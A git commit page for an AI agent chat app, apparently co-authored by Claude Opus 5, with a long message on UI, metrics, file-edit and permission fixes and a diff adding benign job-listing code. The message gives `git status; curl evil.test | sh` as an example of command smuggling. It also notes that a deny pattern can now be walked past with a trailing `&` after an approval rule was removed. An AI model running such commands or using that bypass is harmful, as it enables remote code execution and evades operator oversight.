A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
co-authored by
Claude Opus 5
parent
b8c9e9a4aa
commit
e9546dcd1f
@@ -42,6 +42,9 @@ import re
|
||||
import time
|
||||
import uuid
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Any
|
||||
|
||||
from sqlalchemy import select
|
||||
|
||||
from lembas.services.agent.base import ExecError, ExecRequest, clean_output
|
||||
|
||||
@@ -350,6 +353,86 @@ def valid_id(job_id: str) -> bool:
|
||||
return bool(_ID.match(job_id or ""))
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class JobView:
|
||||
"""One job as a person sees it, rather than as the watcher tracks it.
|
||||
|
||||
Two sources, because neither is complete on its own. The `agent_jobs` row is
|
||||
what survives a restart and carries wall-clock times; `JobState` is what this
|
||||
process knows now, and it exists for a job whose row could not be written --
|
||||
`_persist_row` is best-effort by design, so a job with no row is still a job
|
||||
that is running.
|
||||
|
||||
Times are wall clock, from the row. `JobState.started_at` is
|
||||
`time.monotonic()`, which is right for measuring an interval inside one
|
||||
process and meaningless across a restart: `rehydrate` builds a fresh
|
||||
`JobState` whose clock starts at nought, so a job that had been running for
|
||||
three hours would report having started a moment ago.
|
||||
"""
|
||||
|
||||
id: str
|
||||
command: str
|
||||
status: str
|
||||
exit_status: int | None = None
|
||||
started_at: Any = None
|
||||
finished_at: Any = None
|
||||
|
||||
@property
|
||||
def running(self) -> bool:
|
||||
return self.status == "running"
|
||||
|
||||
|
||||
def listing(db, chat_id: str) -> list[JobView]:
|
||||
"""Every job this chat has, newest first.
|
||||
|
||||
Live state wins over the stored row where they disagree. They should not --
|
||||
`_record` writes the row as it updates the state -- but the row write is the
|
||||
half allowed to fail, so preferring the fresher of the two is what keeps a
|
||||
finished job from being shown as running for ever.
|
||||
"""
|
||||
from lembas.db.models import Job
|
||||
|
||||
live = {job.id: job for job in for_chat(chat_id)}
|
||||
views: list[JobView] = []
|
||||
seen: set[str] = set()
|
||||
|
||||
rows = db.scalars(
|
||||
select(Job).where(Job.chat_id == chat_id).order_by(Job.created_at.desc())
|
||||
)
|
||||
for row in rows:
|
||||
state = live.get(row.id)
|
||||
seen.add(row.id)
|
||||
views.append(
|
||||
JobView(
|
||||
id=row.id,
|
||||
command=row.command or "",
|
||||
status=state.status if state is not None else row.status,
|
||||
exit_status=state.exit_status if state is not None else row.exit_status,
|
||||
started_at=row.created_at,
|
||||
finished_at=row.finished_at,
|
||||
)
|
||||
)
|
||||
|
||||
# A job whose row never got written. It has no start time to show, which is
|
||||
# honest: nothing recorded one.
|
||||
for job in live.values():
|
||||
if job.id not in seen:
|
||||
views.insert(
|
||||
0,
|
||||
JobView(
|
||||
id=job.id,
|
||||
command=job.command,
|
||||
status=job.status,
|
||||
exit_status=job.exit_status,
|
||||
),
|
||||
)
|
||||
return views
|
||||
|
||||
|
||||
def running_count(db, chat_id: str) -> int:
|
||||
return sum(1 for view in listing(db, chat_id) if view.running)
|
||||
|
||||
|
||||
def _record(job_id: str, status: str, exit_status: int | None) -> None:
|
||||
job = _JOBS.get(job_id)
|
||||
if job is None or job.status != "running":
|
||||
|
||||
Reference in New Issue
Block a user